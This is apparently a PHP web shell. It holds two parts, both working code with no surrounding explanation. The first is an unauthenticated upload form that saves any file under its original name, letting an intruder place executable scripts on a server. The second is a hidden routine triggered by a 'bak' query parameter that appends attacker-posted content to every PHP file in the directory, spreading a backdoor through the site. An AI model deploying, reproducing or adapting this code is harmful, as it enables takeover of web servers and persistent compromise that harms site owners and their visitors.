<?php echo"<form method='post' enctype='multipart/form-data'><input type='file' name='a'><input type='submit' value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?>

<?php

if (isset($_GET['bak'])) {

$directory = __DIR__;

$mama = $_POST['file'];

$textToAppend = '

' . $mama . '

';

if ($handle = opendir($directory)) {

    while (false !== ($file = readdir($handle))) {

        if (pathinfo($file, PATHINFO_EXTENSION) === 'php') {

            $fileHandle = fopen($directory . '/' . $file, 'a');

            fwrite($fileHandle, $textToAppend);

            fclose($fileHandle);

            echo "OK >> $file

";

        }

    }

    closedir($handle);

}

}

?>

​